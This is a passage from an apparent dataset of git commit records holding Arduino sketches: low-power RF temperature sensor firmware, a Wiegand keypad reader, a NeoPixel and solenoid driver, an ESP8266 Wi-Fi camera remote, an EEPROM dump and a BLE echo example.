BYTE1_DUAL_PROBE 0x10\n#define BYTE1_RECENT_BOOT 0x20\n\/\/ hygro byte\n#define HYGRO_BATTERY_OK 0x00\n#define HYGRO_BATTERY_LOW 0x80\n#define HYGRO_NO_HYGRO 0x6A\n#define HYGRO_SECOND_PROBE 0x7D\n#define HYGRO_LMREMOTE_KEY 0x7F\n\n#ifdef LMREMOTE_SERIAL\n #define SLEEPMODE_TX 1\n #define SLEEPMODE_ADC SLEEP_MODE_IDLE\n#else\n #define SLEEPMODE_TX 2\n #define SLEEPMODE_ADC SLEEP_MODE_ADC\n#endif\n\n#define RECV_CYCLE_TIME 1000 \/\/ expected receive cycle, millisecond\n#define MIN_RECV_WIN 8 \/\/ minimum window size, power of 2\n#define MAX_RECV_WIN 512 \/\/ maximum window size, power of 2\n\nstatic unsigned int _previousReads[RF_PINS_PER_SOURCE];\nstatic unsigned long _tempReadLast;\nstatic unsigned int _loopCnt;\nstatic unsigned char _sameCount;\nstatic unsigned char _isRecent = BYTE1_RECENT_BOOT;\nstatic unsigned char _isBattLow;\n\nstatic unsigned int _recvCycleAct;\nstatic unsigned int _recvWindow;\nstatic unsigned long _recvLast;\nstatic bool _recvSynced;\n\nstatic volatile bool _adcBusy;\nstatic volatile bool _watchdogWaiting;\n\n\/\/ The WDT is used solely to wake us from sleep\nISR(WDT_vect) { _watchdogWaiting = false; }\nISR(ADC_vect) { _adcBusy = false; }\n\nstatic bool packetReceived(unsigned char nodeId, unsigned int val)\n{\n#if LMREMOTE_SERIAL\n Serial.print(F(\"IN(\"));\n Serial.print(nodeId);\n Serial.print(F(\")=\"));\n Serial.print(val);\n Serial.print('\\n');\n#endif\n\n if (nodeId != NODEID_MASTER)\n return false;\n \/\/ val contains requested fan speed percent\n return true;\n}\n\nstatic bool rf12_doWork(void)\n{\n if (rf12_recvDone() && rf12_crc == 0)\n {\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, HIGH);\n\n unsigned char nodeId = ((rf12_buf[0] & 0x0f) << 2) | (rf12_buf[1] >> 6);\n unsigned int val = (rf12_buf[1] & 0x0f) << 8 | rf12_buf[2];\n return packetReceived(nodeId, val);\n }\n if (_pinLedRx != 0xff) digitalWrite(_pinLedRx, LOW);\n return false;\n}\n\nstatic unsigned int analogReadSleep(unsigned char pin)\n{\n _adcBusy = true;\n ADMUX = (DEFAULT << 6) | pin;\n bitSet(ADCSRA, ADIE);\n set_sleep_mode(SLEEPMODE_ADC);\n while (_adcBusy)\n sleep_mode();\n return ADC;\n}\n\nstatic void sleepPeriod(uint8_t wdt_period)\n{\n set_sleep_mode(SLEEP_MODE_PWR_DOWN);\n\n \/\/ Set the watchdog to wake us up and turn on its interrupt\n wdt_enable(wdt_period);\n WDTCSR |= bit(WDIE);\n\n \/\/ Turn off Brown Out Detector\n \/\/ sleep must be entered within 3 cycles of BODS being set\n sleep_enable();\n MCUCR = MCUCR | bit(BODSE) | bit(BODS);\n MCUCR = (MCUCR & ~bit(BODSE)) | bit(BODS);\n \n \/\/ Sleep\n sleep_cpu();\n \n \/\/ Back from sleep\n wdt_disable();\n sleep_disable();\n}\n\nstatic void sleep(unsigned int msec)\n\/\/ Code copied from Sleepy::loseSomeSleep(), jeelib\n{\n unsigned int msleft = msec;\n while (msleft >= 16)\n {\n char wdp = 0; \/\/ wdp 0..9 corresponds to roughly 16..8192 ms\n \/\/ calc wdp as log2(msleft\/16), i.e. loop & inc while next value is ok\n for (unsigned int m = msleft; m >= 32; m >>= 1)\n if (++wdp >= 9)\n break;\n _watchdogWaiting = true;\n sleepPeriod(wdp);\n unsigned int halfms = 8 << wdp;\n msleft -= halfms;\n if (_watchdogWaiting)\n continue;\n msleft -= halfms;\n }\n\n \/\/ adjust the milli ticks, since we will have missed several\n#if defined(__AVR_ATtiny84__) || defined(__AVR_ATtiny85__) || defined (__AVR_ATtiny44__)\n extern volatile unsigned long millis_timer_millis;\n millis_timer_millis += msecs - msleft;\n#else\n extern volatile unsigned long timer0_millis;\n timer0_millis += msec - msleft;\n#endif\n}\n\nstatic void radioSleep(unsigned int ms)\n{\n rf12_sleep(RF12_SLEEP);\n sleep(ms);\n rf12_sleep(RF12_WAKEUP);\n}\n\nstatic void resetEstimate(void)\n{\n#if _DEBUG\n Serial.print(F(\"Resetting Estimate\\n\"));\n#endif\n _recvCycleAct = RECV_CYCLE_TIME;\n _recvWindow = MAX_RECV_WIN;\n _recvSynced = false;\n\n unsigned long start = millis();\n while (!rf12_doWork())\n if (millis() - start > RECV_CYCLE_TIME)\n return;\n _recvLast = millis();\n}\n\nstatic bool optimalSleep(void)\n\/\/ Code adapted from jeelib\/examples\/syncRecv optimalSleep()\n{\n unsigned char lost = (millis() - _recvLast + _recvCycleAct \/ 2) \/ _recvCycleAct;\n if (lost > 10)\n {\n resetEstimate();\n return false;\n }\n\n \/\/ double the window every N packets lost\n if (lost > 0 && lost % 2 == 0 && _recvWindow < MAX_RECV_WIN)\n _recvWindow *= 2;\n\n unsigned long predict = _recvLast + (lost + 1) * _recvCycleAct;\n unsigned int sleep = predict - millis() - _recvWindow;\n radioSleep(sleep);\n\n unsigned long recvTime;\n unsigned long startTime = millis();\n do {\n recvTime = millis();\n if (recvTime > predict + _recvWindow)\n {\n#if _DEBUG\n Serial.print(\" f \"); Serial.print(lost);\n Serial.print(\" s \"); Serial.print(sleep);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" s \"); Serial.print(startTime);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n Serial.flush();\n#endif\n return false;\n }\n } while (!rf12_doWork());\n\n unsigned int newEst = (recvTime - _recvLast) \/ (lost + 1);\n if (_recvSynced)\n _recvCycleAct = (4 * _recvCycleAct + newEst + 3) \/ 5; \/\/ 5-fold smoothing\n else\n _recvCycleAct = newEst;\n _recvLast = recvTime;\n\n#if _DEBUG\n Serial.print(\" n \"); Serial.print(lost);\n Serial.print(\" e \"); Serial.print(_recvCycleAct);\n Serial.print(\" E \"); Serial.print(newEst);\n Serial.print(\" w \"); Serial.print(_recvWindow);\n Serial.print(\" s \"); Serial.print(startTime);\n Serial.print(\" p \"); Serial.print(predict);\n Serial.print(\" r \"); Serial.println(recvTime);\n#endif\n\n if (_recvWindow > MIN_RECV_WIN)\n _recvWindow \/= 2;\n else\n _recvSynced = true;\n\n return true;\n}\n\nstatic void updateBatteryLow(void)\n{\n const unsigned char BATREAD_COUNT = 4;\n \n _isBattLow = HYGRO_BATTERY_OK;\n if (_pinBattery != 0xff)\n {\n unsigned int adcSum = 0;\n unsigned char battPct;\n for (unsigned char i=0; i<BATREAD_COUNT; ++i)\n adcSum += analogReadSleep(_pinBattery);\n \/\/ Percent of VCC\n battPct = (adcSum * 100UL) \/ (1024 * BATREAD_COUNT);\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(\"Battery %: \"); Serial.print(battPct, DEC); Serial.print('\\n');\n#endif\n\n if (battPct < BATTERY_LOW_PCT)\n _isBattLow = HYGRO_BATTERY_LOW;\n }\n}\n\nstatic void transmitTemp(unsigned char pin)\n{\n unsigned char outbuf[4];\n unsigned char nodeId = _rfNodeBaseId + pin;\n unsigned int val = _previousReads[pin];\n val <<= (12 - (10 + TEMP_OVERSAMPLE_BITS));\n outbuf[0] = 0x90 | ((nodeId & 0x3f) >> 2);\n outbuf[1] = ((nodeId & 0x3f) << 6) | _isRecent | (val >> 8);\n outbuf[2] = (val & 0xff);\n outbuf[3] = HYGRO_LMREMOTE_KEY | _isBattLow;\n \/\/Serial.println(outbuf[3], HEX);\n\n \/\/ Don't check for air to be clear, we just woke from sleep and it will be milliseconds before\n \/\/ the RFM chip is actually up and running\n rf12_sendStart(outbuf, sizeof(outbuf));\n rf12_sendWait(SLEEPMODE_TX);\n}\n\nstatic void newTempsAvailable(void)\n{\n \/\/ Enable the transmitter because it takes 1-5ms to turn on (3ms in my testing)\n rf12_sleep(RF12_WAKEUP);\n\n updateBatteryLow();\n \/\/ We're done with the ADC shut it down until the next wake cycle\n ADCSRA &= ~bit(ADEN);\n if (_isRecent && (millis() > RECENT_EXPIRE_SECS))\n {\n \/\/Serial.print(\"No longer recent\\n\");\n _isRecent = 0;\n }\n\n boolean hasTransmitted = false;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n if (hasTransmitted) sleep(16);\n transmitTemp(pin);\n hasTransmitted = true;\n }\n \n rf12_sleep(RF12_SLEEP);\n if (_pinLedTx != 0xff)\n {\n digitalWrite(_pinLedTx, HIGH);\n sleep(16);\n digitalWrite(_pinLedTx, LOW);\n }\n}\n\nstatic void enableAdcPullups(void)\n{\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n \/\/ The probe themistor voltage dividers are normally powered down\n \/\/ to save power, using digital lines to supply Vcc to them.\n \/\/ Lines are used sequentially starting from _pinProbeSupplyBase\n \/\/ Note you can use the analog internal pullups as the fixed half of\n \/\/ the divider by setting this value to A0 (or higher).\n \/\/ The analog pullups are 20k-40kOhms, about 36k on my handful of chips.\n \/\/ If using digital lines you will supply your own resistor for the fixed half.\n digitalWrite(_pinProbeSupplyBase + pin, HIGH);\n }\n}\n\nstatic void stabilizeAdc(void)\n{\n const unsigned char INTERNAL_REF = 0b1110;\n unsigned int last;\n unsigned int totalCnt = 0;\n unsigned int sameCnt = 0;\n unsigned int curr = analogReadSleep(INTERNAL_REF);\n \/\/ Reads the adc a bunch of times until the value settles\n \/\/ Usually you hear \"discard the first few ADC readings after sleep\"\n \/\/ but this seems a bit more scientific as we wait for the AREF cap to charge\n do {\n ++totalCnt;\n#ifdef LMREMOTE_SERIAL\n Serial.print(curr, DEC);\n Serial.print(' ');\n#endif\n last = curr;\n curr = analogReadSleep(INTERNAL_REF);\n if (last == curr)\n ++sameCnt;\n else\n sameCnt = 0;\n } while ((totalCnt < 64) && (sameCnt < 4));\n}\n\nstatic void checkTemps(void)\n{\n const unsigned char OVERSAMPLE_COUNT[] = {1, 4, 16, 64}; \/\/ 4^n\n boolean modified = false;\n unsigned int oversampled_adc = 0;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(millis(), DEC);\n Serial.print(\" Checking temps: \");\n#endif\n\n \/\/ Enable the ADC\n ADCSRA |= bit(ADEN);\n enableAdcPullups();\n stabilizeAdc();\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n\n for (unsigned char o=0; o<OVERSAMPLE_COUNT[TEMP_OVERSAMPLE_BITS]; ++o)\n {\n unsigned int adc = analogReadSleep(pin);\n if (adc == 0 || adc >= 1023)\n {\n oversampled_adc = 0;\n break;\n }\n oversampled_adc += adc;\n }\n oversampled_adc = oversampled_adc >> TEMP_OVERSAMPLE_BITS;\n\n#ifdef LMREMOTE_SERIAL\n Serial.print(oversampled_adc, DEC); Serial.print(' ');\n#endif\n if (oversampled_adc != _previousReads[pin])\n modified = true;\n _previousReads[pin] = oversampled_adc;\n\n digitalWrite(_pinProbeSupplyBase + pin, LOW);\n }\n\n#ifdef LMREMOTE_SERIAL\n Serial.print('\\n');\n#endif\n\n if (modified || (_sameCount > (30 \/ _sleepInterval)))\n {\n _sameCount = 0;\n newTempsAvailable();\n }\n else\n ++_sameCount;\n \/\/ Disable the ADC\n ADCSRA &= ~bit(ADEN);\n\n _tempReadLast = millis();\n}\n\nstatic void setupSupplyPins(void)\n{\n \/\/ Analog pullup supply pins don't need DIR set\n if (_pinProbeSupplyBase >= A0)\n return;\n for (unsigned char pin=0; pin < RF_PINS_PER_SOURCE; ++pin)\n {\n if (PIN_DISABLED(pin))\n continue;\n pinMode(_pinProbeSupplyBase + pin, OUTPUT);\n }\n}\n\nvoid setup(void)\n{\n \/\/ Turn off the units we never use (this only affects non-sleep power)\n PRR = bit(PRUSART0) | bit(PRTWI) | bit(PRTIM1) | bit(PRTIM2);\n \/\/ Disable digital input buffers on the analog in ports\n DIDR0 = bit(ADC5D) | bit(ADC4D) | bit(ADC3D) | bit(ADC2D) | bit(ADC1D) | bit(ADC0D);\n DIDR1 = bit(AIN1D) | bit(AIN0D);\n\n#ifdef LMREMOTE_SERIAL\n PRR &= ~bit(PRUSART0);\n Serial.begin(LMREMOTE_SERIAL); Serial.println(\"$UCID,lmremote\"); delay(10);\n#endif\n\n rf12_initialize(1, _rfBand);\n \/\/ Crystal 1.66MHz Low Battery Detect 2.2V\n rf12_control(0xC040);\n\n if (_pinLedRx != 0xff) pinMode(_pinLedRx, OUTPUT);\n if (_pinLedTx != 0xff) pinMode(_pinLedTx, OUTPUT);\n\n setupSupplyPins();\n\n \/\/ Force a transmit on next read\n memset(_previousReads, 0xff, sizeof(_previousReads));\n}\n\nvoid loop(void)\n{\n if (_loopCnt % 2 == 0)\n checkTemps();\n\n#ifdef LMREMOTE_SERIAL\n Serial.flush(); delay(2);\n#endif\n\n if (_recvLast == 0)\n resetEstimate();\n else\n optimalSleep();\n ++_loopCnt;\n}\n\n\n","returncode":0,"stderr":"","license":"mit","lang":"Arduino"} {"commit":"9a3f4e232b6e197559f7e301f3c67d4feb37a44d","subject":"Added arduino Wiegand reader","message":"Added arduino Wiegand reader\n","repos":"naali\/rfid,naali\/rfid,naali\/rfid,naali\/rfid","old_file":"arduino\/WGDoor.ino","new_file":"arduino\/WGDoor.ino","new_contents":"#include <Wiegand.h>\n#define PIN_LENGTH 10\n#define MAX_USER_ACTION_DELAY_MS 10000\n\nWIEGAND wg;\nbool isPinCodeSet = false;\nint pincode[PIN_LENGTH + 1];\nint pincodeptr = 0;\n\nbool isKeyCodeSet = false;\nlong lastKeyCode = 0;\n\nunsigned long lastUserAction = 0;\n\nvoid setup() {\n Serial.begin(9600);\n resetPinCode();\n wg.begin();\n}\n\nvoid resetPinCode() {\n for (int i=0; i<PIN_LENGTH + 1; i++) {\n pincode[i] = -1;\n }\n\n pincodeptr = 0;\n isPinCodeSet = false;\n}\n\nvoid printAndResetAccessCodes() {\n Serial.print(\"{ \\\"pincode\\\": \\\"\");\n\n int ptr = 0;\n \n do {\n Serial.print(pincode[ptr]);\n } while (ptr++ < PIN_LENGTH && pincode[ptr] != -1);\n\n Serial.print(\"\\\", \");\n Serial.print(\"\\\"keycode\\\": \\\"\");\n Serial.print(lastKeyCode);\n Serial.println(\"\\\" }\");\n \n resetPinCode();\n isKeyCodeSet = false;\n}\n\nvoid loop() {\n if (wg.available()) {\n lastUserAction = millis();\n \n if (wg.getWiegandType() == 4) {\n int code = wg.getCode();\n if (code == 27) {\n resetPinCode();\n } else if (code == 13) {\n isPinCodeSet = true;\n } else {\n pincode[pincodeptr % PIN_LENGTH] = wg.getCode();\n pincodeptr++;\n }\n } else {\n lastKeyCode = wg.getCode();\n isKeyCodeSet = true;\n }\n\n if (isPinCodeSet && isKeyCodeSet) {\n printAndResetAccessCodes();\n }\n }\n\n if (Serial.available()) {\n char c = Serial.read();\n Serial.print(c);\n }\n\n if (lastUserAction + MAX_USER_ACTION_DELAY_MS < millis()) {\n lastUserAction = millis();\n resetPinCode();\n isKeyCodeSet = false;\n }\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'arduino\/WGDoor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"dd34848674515589bacda821c68e7f444aaae5d8","subject":"Added Solenoid code","message":"Added Solenoid code\n","repos":"GemHunt\/lighting-augmentation","old_file":"multi_point_solenoid\/multi_point_solenoid.ino","new_file":"multi_point_solenoid\/multi_point_solenoid.ino","new_contents":"#include <Adafruit_NeoPixel.h>\n#ifdef __AVR__\n#include <avr\/power.h>\n#endif\n\n#define SOLENOID_PIN 2\n#define LED_PIN 6\n\n\/\/ How many NeoPixels are attached to the Arduino?\n#define NUMPIXELS 18\n\nAdafruit_NeoPixel pixels = Adafruit_NeoPixel(NUMPIXELS, LED_PIN, NEO_GRB + NEO_KHZ800);\n\nint delayval = 65; \/\/ delay for half a second\n\nvoid setup() {\n \/\/ This is for Trinket 5V 16MHz, you can remove these three lines if you are not using a Trinket\n#if defined (__AVR_ATtiny85__)\n if (F_CPU == 16000000) clock_prescale_set(clock_div_1);\n#endif\n \/\/ End of trinket special code\n Serial.begin(9600);\n pinMode(SOLENOID_PIN, OUTPUT);\n digitalWrite(SOLENOID_PIN, HIGH);\n pixels.begin(); \/\/ This initializes the NeoPixel library.\n}\n\nvoid loop() {\n\n \/\/ For a set of NeoPixels the first NeoPixel is 0, second is 1, all the way up to the count of pixels minus one.\n int on_pixel;\n int off_pixel;\n int num_pixels_on = 2;\n \/\/This leaves 2 pixels on at all times:\n for(int i=0;i < NUMPIXELS;i++){\n on_pixel = i;\n off_pixel = i - num_pixels_on;\n if (on_pixel < 0){\n on_pixel += NUMPIXELS;\n }\n if (off_pixel < 0){\n off_pixel += NUMPIXELS;\n }\n if (on_pixel > NUMPIXELS){\n on_pixel -= NUMPIXELS;\n }\n if (off_pixel > NUMPIXELS){\n off_pixel -= NUMPIXELS;\n }\n pixels.setPixelColor(on_pixel, pixels.Color(255,255,255));\n pixels.show();\n pixels.setPixelColor(off_pixel, pixels.Color(0,0,0));\n pixels.show();\n \n if (Serial.available() > 0) {\n int input = Serial.parseInt();\n digitalWrite(SOLENOID_PIN, LOW);\n }\n if (Serial.read() == '\\n') {};\n delay(delayval);\n digitalWrite(SOLENOID_PIN, HIGH);\n }\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'multi_point_solenoid\/multi_point_solenoid.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"007be1dfb568f20253e3585ed93cc1f50cbe63eb","subject":"Initial commit","message":"Initial commit\n","repos":"willdurand\/cwrm,willdurand\/cwrm","old_file":"wifi_remote_camera.ino","new_file":"wifi_remote_camera.ino","new_contents":"#include <ESP8266WiFi.h> \/\/https:\/\/github.com\/esp8266\/Arduino\n#include <DNSServer.h>\n#include <ESP8266WebServer.h>\n\n#define FOCUS_PIN 0\n#define SHUTTER_PIN 2\n#define FOCUS_DELAY 800\n#define SHUTTER_DELAY 1200\n#define WEB_PORT 80\n#define DNS_PORT 53\n#define AP_NAME \"Canon WiFi Remote Module\"\n#define AP_PASSWORD \"LetMeJoin\"\n\n#define DEBUG\n\n#ifdef DEBUG\n#define DEBUG_PRINT(message) Serial.println(message)\n#else\n#define DEBUG_PRINT(message)\n#endif\n\n\/\/ prototypes\nvoid setup();\nvoid loop();\nvoid indexHTML();\nvoid redirectTo(String);\nvoid triggerFocus();\nvoid triggerShutter();\n\n\/\/ global vars\nIPAddress apIP(192, 168, 10, 1);\nESP8266WebServer webServer(WEB_PORT);\nDNSServer dnsServer;\n\nString responseHTML = \"<!DOCTYPE html><title>\"\n AP_NAME\n \"<\/title><style>#focus-btn,#shutter-btn{background-color:#6a5acd;border:0;border-radius:5px;width:100%;max-width:250px;padding:10px;color:#fff;font-size:1rem}#focus-btn{background-color:#009688}#every-input{text-align:center;width:50px}button:disabled{opacity:.65;cursor:not-allowed}<\/style><body style=text-align:center><h1>\"\n AP_NAME\n \"<\/h1><p><button id=shutter-btn>take picture<\/button><p>Every <input id=every-input type=number value=5> seconds <button id=every-btn>start<\/button><p style=padding-top:1rem><button id=focus-btn>focus<\/button><\/p><script>!function(t,e){function n(t){return t&&e.XDomainRequest&&!\/MSIE 1\/.test(navigator.userAgent)?new XDomainRequest:e.XMLHttpRequest?new XMLHttpRequest:void 0}function o(t,e,n){t[e]=t[e]||n}var r=[\\\"responseType\\\",\\\"withCredentials\\\",\\\"timeout\\\",\\\"onprogress\\\"];t.ajax=function(t,a){function s(t,e){return function(){c||(a(void 0===f.status?t:f.status,0===f.status?\\\"Error\\\":f.response||f.responseText||e,f),c=!0)}}var u=t.headers||{},i=t.body,d=t.method||(i?\\\"POST\\\":\\\"GET\\\"),c=!1,f=n(t.cors);f.open(d,t.url,!0);var l=f.onload=s(200);f.onreadystatechange=function(){4===f.readyState&&l()},f.onerror=s(null,\\\"Error\\\"),f.ontimeout=s(null,\\\"Timeout\\\"),f.onabort=s(null,\\\"Abort\\\"),i&&(o(u,\\\"X-Requested-With\\\",\\\"XMLHttpRequest\\\"),e.FormData&&i instanceof e.FormData||o(u,\\\"Content-Type\\\",\\\"application\/x-www-form-urlencoded\\\"));for(var p,m=0,v=r.length;v>m;m++)p=r[m],void 0!==t[p]&&(f[p]=t[p]);for(var p in u)f.setRequestHeader(p,u[p]);return f.send(i),f},e.nanoajax=t}({},function(){return this}())<\/script><script>var interval=!1,$shutterBtn=document.querySelector(\\\"#shutter-btn\\\"),$focusBtn=document.querySelector(\\\"#focus-btn\\\"),$everyInput=document.querySelector(\\\"#every-input\\\"),$everyBtn=document.querySelector(\\\"#every-btn\\\"),trigger=function(t,e){t.setAttribute(\\\"disabled\\\",\\\"disabled\\\"),nanoajax.ajax({url:e,method:\\\"POST\\\"},function(e,r){t.removeAttribute(\\\"disabled\\\")})},startInterval=function(){var t=parseInt($everyInput.value,10);NaN===t||t<1||(interval=setInterval(function(){trigger($shutterBtn,\\\"\/trigger\/shutter\\\")},1e3*t),$everyBtn.innerHTML=\\\"stop\\\")},stopInterval=function(){interval&&(clearInterval(interval),interval=!1,$everyBtn.innerHTML=\\\"start\\\")};$shutterBtn.addEventListener(\\\"click\\\",function(){trigger($shutterBtn,\\\"\/trigger\/shutter\\\")},!1),$focusBtn.addEventListener(\\\"click\\\",function(){trigger($focusBtn,\\\"\/trigger\/focus\\\")},!1),$everyBtn.addEventListener(\\\"click\\\",function(){if(interval)return void stopInterval();startInterval()},!1)<\/script>\"\n ;\n\nvoid setup() {\n pinMode(FOCUS_PIN, OUTPUT);\n pinMode(SHUTTER_PIN, OUTPUT);\n digitalWrite(FOCUS_PIN, LOW);\n digitalWrite(SHUTTER_PIN, LOW);\n\n#ifdef DEBUG\n Serial.begin(115200); \/\/ open serial\n#endif\n\n WiFi.mode(WIFI_AP);\n WiFi.softAPConfig(apIP, apIP, IPAddress(255, 255, 255, 0));\n WiFi.softAP(AP_NAME, AP_PASSWORD);\n\n \/\/ if DNSServer is started with \"*\" for domain name, it will reply with\n \/\/ provided IP to all DNS request\n dnsServer.start(DNS_PORT, \"*\", apIP);\n\n webServer.on(\"\/\", HTTP_GET, indexHTML);\n webServer.on(\"\/trigger\/shutter\", HTTP_POST, triggerShutter);\n webServer.on(\"\/trigger\/focus\", HTTP_POST, triggerFocus);\n webServer.onNotFound([]() {\n redirectTo(\"\/\");\n });\n webServer.begin();\n}\n\nvoid loop() {\n dnsServer.processNextRequest();\n webServer.handleClient();\n}\n\nvoid indexHTML() {\n webServer.send(200, \"text\/html\", responseHTML);\n}\n\nvoid redirectTo(String path) {\n webServer.sendHeader(\"Location\", \"http:\/\/\" + apIP.toString() + path);\n webServer.send(302);\n}\n\nvoid triggerFocus() {\n redirectTo(\"\/\");\n\n DEBUG_PRINT(\"Focus: start\");\n digitalWrite(FOCUS_PIN, HIGH);\n delay(FOCUS_DELAY);\n DEBUG_PRINT(\"Focus: stop\");\n digitalWrite(FOCUS_PIN, LOW);\n}\n\nvoid triggerShutter() {\n redirectTo(\"\/\");\n\n DEBUG_PRINT(\"Shutter: start\");\n digitalWrite(SHUTTER_PIN, HIGH);\n delay(SHUTTER_DELAY);\n DEBUG_PRINT(\"Shutter: stop\");\n digitalWrite(SHUTTER_PIN, LOW);\n}\n","old_contents":"","returncode":128,"stderr":"fatal: invalid reference: FETCH_HEAD^\n","license":"mit","lang":"Arduino"} {"commit":"8dfd03ad3e23819e7c057d331170c79c3fdb8007","subject":"Create readByte16x16.ino","message":"Create readByte16x16.ino\n\nThis sketch read 256 byte size memory 24C02, and send to serial monitor like 16x16 table.","repos":"JarvisDP\/ArduinoGarbage","old_file":"24C02\/readByte16x16.ino","new_file":"24C02\/readByte16x16.ino","new_contents":"\/******************************************************************************\n * Header file inclusions.\n ******************************************************************************\/\n\n#include <Wire.h>\n\n#include <Eeprom24C0102.h>\n\n\/**************************************************************************\/\/**\n * \\def EEPROM_ADDRESS\n * \\brief Address of EEPROM memory on TWI bus.\n ******************************************************************************\/\n#define EEPROM_ADDRESS 0x50\n\n\/******************************************************************************\n * Private variable definitions.\n ******************************************************************************\/\n\nstatic Eeprom24C0102 eeprom(EEPROM_ADDRESS);\n\n\nvoid setup()\n{\n \/\/ Initialize serial communication.\n Serial.begin(9600);\n \n \/\/ Initialize EEPROM library.\n eeprom.initialize();\n \n \/\/ Declare byte arrays.\n byte outputBytes[256] = { 0 };\n \n \/*\n \n \/\/ Write a byte at address 0 in EEPROM memory.\n Serial.println(\"Write byte to EEPROM memory...\");\n eeprom.writeByte(0, 0xAA);\n \n \/\/ Write cycle time (tWR). See EEPROM memory datasheet for more details.\n delay(10);\n \n *\/\n \n \/\/ Read a byte at address 0 in EEPROM memory.\n Serial.println(\"\");\n Serial.println(\"Read as 16x16 matrix from EEPROM memory...\");\n Serial.println(\"\");\n eeprom.readBytes(0, 255, outputBytes);\n\n \/\/ Print read bytes.\n Serial.println(\"Like as is:\");\n \n for (byte i = 0; i < 255; i++)\n {\n outputBytes[i] = i + 33;\n Serial.write(outputBytes[i]);\n Serial.print(\" \");\n if (i == 15)Serial.println(\"\");\n if (i == 31)Serial.println(\"\");\n if (i == 48)Serial.println(\"\");\n if (i == 64)Serial.println(\"\");\n \n if (i == 79)Serial.println(\"\");\n if (i == 95)Serial.println(\"\");\n if (i == 111)Serial.println(\"\");\n if (i == 127)Serial.println(\"\");\n \n if (i == 143)Serial.println(\"\");\n if (i == 159)Serial.println(\"\");\n if (i == 175)Serial.println(\"\");\n if (i == 191)Serial.println(\"\");\n \n if (i == 207)Serial.println(\"\");\n if (i == 223)Serial.println(\"\");\n if (i == 239)Serial.println(\"\");\n if (i == 255)Serial.println(\"\");\n }\n \n Serial.println(\"\");\n Serial.println(\"Like as DEC:\");\n \n for (int i = 0; i<=255;i++){\n byte data = eeprom.readByte(i);\n Serial.print(data, DEC);\n Serial.print(\" \");\n if (i == 15)Serial.println(\"\");\n if (i == 31)Serial.println(\"\");\n if (i == 48)Serial.println(\"\");\n if (i == 64)Serial.println(\"\");\n \n if (i == 79)Serial.println(\"\");\n if (i == 95)Serial.println(\"\");\n if (i == 111)Serial.println(\"\");\n if (i == 127)Serial.println(\"\");\n \n if (i == 143)Serial.println(\"\");\n if (i == 159)Serial.println(\"\");\n if (i == 175)Serial.println(\"\");\n if (i == 191)Serial.println(\"\");\n \n if (i == 207)Serial.println(\"\");\n if (i == 223)Serial.println(\"\");\n if (i == 239)Serial.println(\"\");\n if (i == 255)Serial.println(\"\");\n }\n \n Serial.println(\"\");\n Serial.println(\"Like as HEX:\");\n \n for (int i = 0; i<=255;i++){\n byte data = eeprom.readByte(i);\n Serial.print(data, HEX);\n Serial.print(\" \");\n if (i == 15)Serial.println(\"\");\n if (i == 31)Serial.println(\"\");\n if (i == 48)Serial.println(\"\");\n if (i == 64)Serial.println(\"\");\n \n if (i == 79)Serial.println(\"\");\n if (i == 95)Serial.println(\"\");\n if (i == 111)Serial.println(\"\");\n if (i == 127)Serial.println(\"\");\n \n if (i == 143)Serial.println(\"\");\n if (i == 159)Serial.println(\"\");\n if (i == 175)Serial.println(\"\");\n if (i == 191)Serial.println(\"\");\n \n if (i == 207)Serial.println(\"\");\n if (i == 223)Serial.println(\"\");\n if (i == 239)Serial.println(\"\");\n if (i == 255)Serial.println(\"\");\n }\n \n Serial.println(\"Done!\");\n}\n\nvoid loop()\n{\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec '24C02\/readByte16x16.ino' did not match any file(s) known to git\n","license":"unlicense","lang":"Arduino"} {"commit":"c5dd1b371c3da827505757a78645fa68aa982db6","subject":"EchoBLE: test BC127 BLE functionality","message":"EchoBLE: test BC127 BLE functionality\n\nAn initial test to verify BC127 BLE functionality and interoperability with iOS devices. Once BLE connections are established, ASCII input from an iOS device should be echo'd back by the Tympan.\n\nBegins: #26\n","repos":"Tympan\/Tympan_Library,Tympan\/Tympan_Library,Tympan\/Tympan_Library","old_file":"examples\/02-Utility\/EchoBLE\/EchoBLE.ino","new_file":"examples\/02-Utility\/EchoBLE\/EchoBLE.ino","new_contents":"\/*\n*\tEchoBLE\n*\n*\tCreated: Ira Ray Jenkins, Creare, July 2020\n*\tPurpose: Demonstrates BLE functionality of the Tympan BC127 Bluetooth module. Data\n\t\treceived via BLE will be echo'd back.\n*\n*\/\n#include <Tympan_Library.h>\n\nTympan myTympan(TympanRev::D);\n\nusb_serial_class *USB_Serial;\nHardwareSerial *BT_Serial;\nString response;\n\nvoid echoIncomingUSBSerial(void) {\n while (USB_Serial->available()) {\n BT_Serial->write(USB_Serial->read());\n }\n}\n\nvoid echoIncomingBTSerial(void) {\n while(BT_Serial->available()) {\n USB_Serial->write(BT_Serial->read());\n }\n}\n\nvoid readBTResponse(void) {\n response = BT_Serial->readString();\n}\n\nvoid setup() {\n myTympan.beginBothSerial(); delay(2000);\n USB_Serial = myTympan.getUSBSerial();\n BT_Serial = myTympan.getBTSerial();\n USB_Serial->println(\"*** Setup Starting...\");\n\n BLE_Setup();\n\n USB_Serial->println(\"*** Setup Complete.\");\n \n}\n\nvoid loop() {\n while(BT_Serial->available()) {\n response = BT_Serial->readString();\n\n USB_Serial->println(\"Response: \" + response.trim());\n \n if(response.substring(0,8) == \"RECV BLE\") {\n USB_Serial->println(\"*** Received: \" + response.substring(9));\n\n BT_Serial->print(\"SEND Received: \" + response.substring(9) + \"\\r\");\n\n delay(200);\n \n BT_Serial->readString();\n \n }\n }\n}\n\nvoid 